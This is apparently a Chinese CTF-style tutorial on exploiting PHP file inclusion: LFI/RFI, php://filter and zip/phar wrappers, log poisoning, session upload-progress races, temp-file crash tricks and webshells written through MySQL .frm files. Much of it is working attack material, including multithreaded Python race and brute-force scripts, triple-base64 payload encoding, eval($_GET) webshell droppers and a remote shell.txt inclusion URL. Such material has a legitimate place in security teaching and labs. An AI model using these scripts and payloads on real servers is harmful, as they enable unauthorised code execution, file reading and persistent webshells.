赞
踩
文件包含不一定非要包含php文件,只要文件中包含一块完整的php代码,就可以通过文件包含来执行这段代码,例如:1.txt的内容为<?php phpinfo();?>
当1.txt被2.php包含的时候,比如说2.php的内容为:<?php include($_GET['a']);?> 那么当我们在URL中get传参:?a = 1.txt 的时候,就会动态生成了<?php include('1.txt');?>,即<?php phpinfo()?>
这意味着文件包含漏洞可以和文件上传漏洞结合使用:
比如:目标服务器文件上传功能采用白名单效验机制,我们只能上传.jpg后缀的文件,那么我们可以通过文件包含漏洞让.jpg文件被php文件包含,从而作为php文件解析。
如果包含的文件中没有php代码块,那么include 和require 就变成了一个读文件的函数
比如:
include("/etc/passwd") 就会将/etc/passwd 中的内容读取出来。
php代码块的几种形式总结:
<?php
<script language=php></script>
文件包含分为本地文件包含(LFI)和远程文件包含(RFI),远程文件包含需要在php.ini中开启 allow_url_include =On(默认是关闭的 )
远程文件包含 :
[http|https|ftp]://www.bbb.com/shell.txt
若后缀名写死,可以用?绕过
例如:
include($_GET['a']+'.php')
a= http://www.bbb.com/shell.txt?abc
一些协议:
include(zip://zip文件所在路径#zip中包含的文件名)
可以直接包含zip中压缩的文件
例如:因为该题目源码中会添加.php后缀,随意这里的文件名没有php后缀
include(phar://压缩包所在路径/压缩包中包含的php文件名)
可以直接包含压缩包中的php文件
这两种协议比较强大,无所谓后缀名
也就是说,如果将一个压缩包的后缀名改为.jpg上传上去,也可以通过上述方法包含压缩包之中的文件
php://filter
用于读文件 并且可以指定过滤器来对文件内容进行处理,比如base64的编解码
include("php://filter/convert.base64-encode/resource=index.php")
php://input
读取post传参字符串
前提:allow_url_include=On
例如:file_get_contents("php://input")
因为web请求会被写入日志文件,所以可以将payload写在请求的url中,让payload写入日志文件(比如大马),然后在文件包含日志文件,生成小马
apache默认日志文件路径:/var/log/apache2/access.log
错误日志文件:/var/log/apache2/error.log
不论php脚本有没有处理上传文件,都可以向任意php脚本发送文件上传的post报文。
如果发送的报文携带有Cookie:PHPSESSID=内容可控
并且上传了文件,
并且发送了一个post传参 PHP_SESSION_UPLOAD_PROGRESS:内容可控
那么就会在php 存放sess文件的目录(默认为/tmp,可以在phpinfo的session_save_path中查到)下生成一个指定的sess文件
sess文件名 由PHPSESSID控制
sess文件的内容中包含有PHP_SESSION_UPLOAD_PROGRESS的值
前提:
php.ini 中的session.upload_progress.enabled 开启(默认是开启的)
发送post报文的脚本如下:
- import requests
- import threading
- class Worker(threading.Thread):
- def __init__(self):
- threading.Thread.__init__(self)
- def run(self):
- while(True):
- url = "http://192.168.0.104/phpinfo.php"
- headers={
- "Cookie":"PHPSESSID=icancontrolit"
- }
- files = {
- "myfile" : ("myfile.php", open("desc.py", "rb")),
- }
- data = {
- "PHP_SESSION_UPLOAD_PROGRESS" : "lalal",
- }
- resp = requests.post(url=url,files=files,headers=headers,data=data)
- print(resp.text)
-
- thread_count=100
- threads = []
- for i in range(thread_count):
- threads.append(Worker())
- for t in threads:
- t.start()
- for t in threads:
- t.join()
-
-
- # curl -x 127.0.0.1:8080 http://192.168.0.107/index.php -F "PHP_SESSION_UPLOAD_PROGRESS=aaaaa" -F "file=@/etc/passwd" -H "Cookie:PHPSESSID=icancontrol"
那么就可以将大马写入到该sess文件中,然后文件包含它,生成小马。
这sess文件的内容很快会被删除掉,所以需要一边不断发,一边不断去包含该文件
例题:
有一道题目是这样的:
存在文件包含漏洞,但是文件包含有条件:被包含文件必须以@<?php 开头
所以不能直接包含sess文件,需要将开头的upload_progress_ 给想办法搞消失
思路:
利用base64编码:base64编码没有固定长度,但是每个位能用的base64 的合法字符只有64个A-Za-z0-9/+
3个字符 用 4个base64字符进行编码
因为3个字符一共3*8 =24位,一共有2**24种可能,正好 =64**4
= 并不是base64编码字符,只是一个无意义的占位符
base64解码前将非合法字符都剔除掉,然后4位4位解码
所以我们可以利用3次base64解码让upload_progress_ 消失掉
- <?php
- $prefix = "upload_progress_";
- // echo strlen($prefix); //16位 去掉_不算 只有14位base64合法字符,需要再补2位
- // 4 4 4 4
- // 3 3 3 3 =12 4 4 4
- // 3 3 3= 9 =4*2+1
- // 3 3 1
- $word = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";
- for($i=0;$i<64;$i++){
- for($j=0;$j<64;$j++){
- $data = $prefix.substr($word,$i,1).substr($word,$j,1);
- if(base64_decode(base64_decode(base64_decode($data)))==''){
- file_put_contents('result3.txt',$data."\n",FILE_APPEND);
- }
- }
- }
将payload进行3次base64编码
- import string
- from random import sample,randint
- from base64 import b64encode
-
- payload = "@<?php file_put_contents('h.php','@<?php eval($_GET[1]);?>')?>"
- print(len(payload)) #62
- while 1:
- junk =''.join(sample(string.ascii_letters,randint(4,12))) #随机取3到12ascii字符
- x = b64encode((payload+junk).encode('utf-8'))
- xx = b64encode(x)
- xxx = b64encode(xx)
- if '=' not in x.decode("utf-8") and '=' not in xx.decode('utf-8') and '='not in xxx.decode('utf-8'):
- print(xxx)
- break
- else:
- print("error:%s"%(xxx.decode("utf-8")))
文件包含的时候,通过php://filter 进行三次base64解码即可
php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=sess文件的位置
向服务器上任意php脚本发送post文件上传报文,都生成临时文件来存储该文件,当会话结束时删除掉该文件
只要能在该时间内文件包含 该临时文件,就可以实现大马种小马
可以通过向可以显示phpinfo的php文件发送post文件上传报文,来查看临时文件的位置和名称
我自己写了一个脚本跑了跑,一直没成功,可能是因为这个文件删除的太快了。暂且搁置:
hh.php
@<?php file_put_contents('/tmp/mom.php','@<?php eval($_GET["a"]);?>');?>
- import requests
- import threading
- import re
- import queue
-
-
-
-
- class Worker(threading.Thread):
- def __init__(self):
- threading.Thread.__init__(self)
- def run(self):
- while(True):
- base_url ="http://192.168.0.105"
- phpinfo_url = base_url+"/phpinfo.php"
- files = {
- "myfile" : ("myfile.php", open("hh.php", "r")),
- }
- resp = requests.post(url=phpinfo_url,files=files)
- # print(resp.text)
- matches = re.findall(r"\[tmp_name\] => ([^\[]+)",resp.text)
- tmp_file_path = matches[0].strip("\n").strip();
- load_url = base_url+"/load.php?load=%s"%(tmp_file_path)
- resp= requests.get(load_url)
- print("%s:%d"%(load_url,len(resp.text)))
-
-
-
- thread_count=100
- threads = []
- for i in range(thread_count):
- threads.append(Worker())
- for t in threads:
- t.start()
- for t in threads:
- t.join()
-
-
a.php?include=a.php
这样会导致无限递归,导致爆栈,使得php重启,
如果该请求中还包含有一个上传文件,那么临时文件就不会被删除
可能需要多线程来导致php崩溃,但是线程不能太多,太多可能导致服务器直接崩溃
经过测试:100个线程攻击大概4到5秒,基本就可以让其中一些请求崩溃从而长期存留下一些临时文件
- import requests
- import threading
- class Worker(threading.Thread):
- def __init__(self):
- threading.Thread.__init__(self)
- def run(self):
- while(True):
- url = "http://192.168.0.104/load.php?load=load.php"
- files = {
- "myfile" : ("myfile.php", open("phpinfo.php", "rb")),
- }
- resp = requests.post(url=url,files=files)
- print(resp.status_code)
- # print(resp.text)
-
- thread_count=100
- threads = []
- for i in range(thread_count):
- threads.append(Worker())
- for t in threads:
- t.start()
- for t in threads:
- t.join()
接下来,要么通过其他漏洞得知该临时文件的位置和名称,要么通过不断发请求去爆破该临时文件。
经测试php版本>=7.4 修补了该漏洞
该漏洞一个显著的特点就是,当文件包含脚本,包含php://filter/string.strip_tags/resource=/etc/passwd 时,php会直接崩溃。从浏览器的视角看就是连接被重置,如果用脚本发请求,则会报ConnectionError的错误
如果在请求文件包含页面的时候,让它包含php://filter/string.strip_tags/resource=/etc/passwd,并且报文中附带有文件,那么该临时文件就会因php的崩溃而得以保留
利用脚本:
- import requests
- import threading
-
- ip = "127.0.0.1"
- port =8888
- base_url ="http://%s:%d"%(ip,port)
- lfi_url =base_url+"/xss/load.php?load="
- def main():
- while(True):
- try:
- url = lfi_url+"php://filter/string.strip_tags/resource=/etc/passwd"
- files = {
- "myfile" : ("myfile.php", open("phpinfo.php", "rb")),
- }
- resp = requests.post(url=url,files=files)
- print(resp.status_code)
- except requests.ConnectionError as e:
- print("PHP崩溃了,该临时文件得以保留")
-
- if __name__ =='__main__':
- main()
爆破脚本:
- import requests
- import string
- import re
-
- host="127.0.0.1"
- port =8888
- base_url = "http://%s:%d"%(host,port)
- lfi_url = base_url+"/xss/load.php?load="
- char_space = list(string.ascii_letters+string.digits)
-
- def parser(content):
- if(re.findall(r"PHP",content)):
- return True
- else:
- return False
- def main():
- for a in char_space:
- for b in char_space:
- for c in char_space:
- for d in char_space:
- for e in char_space:
- for f in char_space:
- tmp_file_name = "/Applications/MAMP/tmp/php/php"+a+b+c+d+e+f
- target_url =lfi_url+tmp_file_name
- resp = requests.get(target_url)
- if(parser(resp.text)):
- print("find it:%s"%(target_url))
- break
- else:
- print("fail:%s"%(target_url))
- if __name__ =='__main__':
- main()
-
文件包含导致的目录遍历:
如果没有文件包含漏洞,仅仅通过在url栏中操作,不论你如何../../../回退,都无法跳出服务器的公开目录,也是就说,你只能请求公开目录中的文件。
但是如果有文件包含漏洞,那么我们可以通过传参,../../../../../一直退到服务器的根目录,从而能够目录遍历,即访问服务器上任何一个文件夹中的任何一个文件,不论这个目录是公开目录还是非公开目录。
前提:
php.ini 中open_basedir 为no value (默认值)
如果配置了该值为某个目录,那么php脚本的所有文件操作 都限制在该目录下的文件。包括SESSION的使用,因为session本质上也是文件的读写
相对路径传参?a=dsjsalkdj/../ 这样写,虽然dsjsalkdj这个东西不存在,但是仍然可以退回到上级目录。在cmd中也可以这样写。但是在url栏中乱写的地方不能写一些特殊字符例如:#和?(但是可以写这两个字符的百分号编码%23.)因为php中是用?拿来传参的,当php解析器遇到?就认为后面是参数了,不认为是路径了。但是当这个参数被传给include()执行时,include()会把它作为路径解析,所以就出错了。但是,凡事没有绝对,利用?的url编码%3f加上/../../ 有时可以非常巧妙的绕过一些检验。注意这里一定是不能直接写?的,因为php解析器会把?之后的全部当成参数来对待,这是就会出错,而%3f只有在碰到GET类型传参时,才会被认为是传参的标志,因为GET类型传参会先进行url解码,解码之后%3f还是?然后,才将解码后的结果交给php解析器传参。这时我们可以尝试对%3f再进行一次url编码。%253f(双重编码绕过)
那么目录遍历漏洞如何利用呢?
数据库储存表 会将表存在相应的文件中。查看phpstudy中MySQL目录下的data。会发现数据库中的表都有相应的frm文件(文件名和表名同名!!),这个文件往之后翻,会看到对应表的字段名.
也就说假如我们将某个表的某个字段名,命名为<?php eval($_GET['a']);?>,那么这句话就会被写入到对应的.frm文件中去。
我们自己搭建一个服务器尝试一下:
1.创建一个包含有文件包含漏洞ceshi.php,参数为target
2.创建一个字段名为一句话木马的表zhuru(一句话木马的参数为a),记录下这个表的对应zhuru.frm文件的绝对路径
3.访问文件包含漏洞的php,构造如下传参:http://localhost/ceshi.php?target=../../../../../../../phpStudy/PHPTutorial/MySQL/data/test/zhuru.frm&a=phpinfo();
总结:也就是说,如果我们将SQL注入 与文件包含漏洞相互结合,即使一个网站不能文件上传,也能通过一句话木马拿到webshell。为什么必须得与文件包含漏洞相互结合呢?直接SQL注入,修改.frm文件为一句话木马不就可以了吗?nonono,因为.frm文件没有在公开目录www下,所以没有文件包含漏洞,我们是不能访问.frm这个木马的。不能请求的木马就是死马。
或者说只要你有对方phpadmin的账号和密码,即root权限,那么你就能通过一个文件包含漏洞,直接拿下webshell。
现在只剩下一个问题,如何知道.frm文件的绝对路径呢?如果存在SQL注入漏洞,那么SELECT @@datadir 就能返回到data文件夹的绝对路径。剩余在后面加上 数据库名/表名 就可以啦。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。